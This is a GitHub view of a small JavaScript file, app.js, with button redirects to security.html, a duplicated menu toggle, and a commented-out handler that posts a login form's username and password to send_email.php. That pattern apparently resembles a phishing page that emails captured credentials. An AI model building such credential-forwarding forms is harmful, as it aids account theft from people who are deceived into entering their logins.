-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.js
More file actions
57 lines (44 loc) · 1.61 KB
/
Copy pathapp.js
File metadata and controls
57 lines (44 loc) · 1.61 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
document.getElementById('loginBb').addEventListener('click', function(event) {
window.location.href = 'security.html';
});
document.getElementById('loginBb').addEventListener('click', function(event) {
window.location.href = 'security.html';
});
/* document.getElementById('login-form').addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
if (username.trim() && password.trim()) {
fetch('send_email.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username, password })
})
.then(response => response.json())
.then(data => {
alert(data.message);
window.location.href = "next_page.html";
})
.catch(error => {
alert('Login failed: ' + error.message);
});
} else {
alert('Please enter both username and password.');
}
}); */
function toggleMenu() {
var menuContainer = document.getElementById('menuContainer');
if (menuContainer.style.right == '0px') {
menuContainer.style.right = '-250px'; // Hide the menu
} else {
menuContainer.style.right = '0px'; // Show the menu
}
}
function toggleMenu() {
var menuContainer = document.getElementById('menuContainer');
if (menuContainer.style.right == '0px') {
menuContainer.style.right = '-250px'; // Hide the menu
} else {
menuContainer.style.right = '0px'; // Show the menu
}
}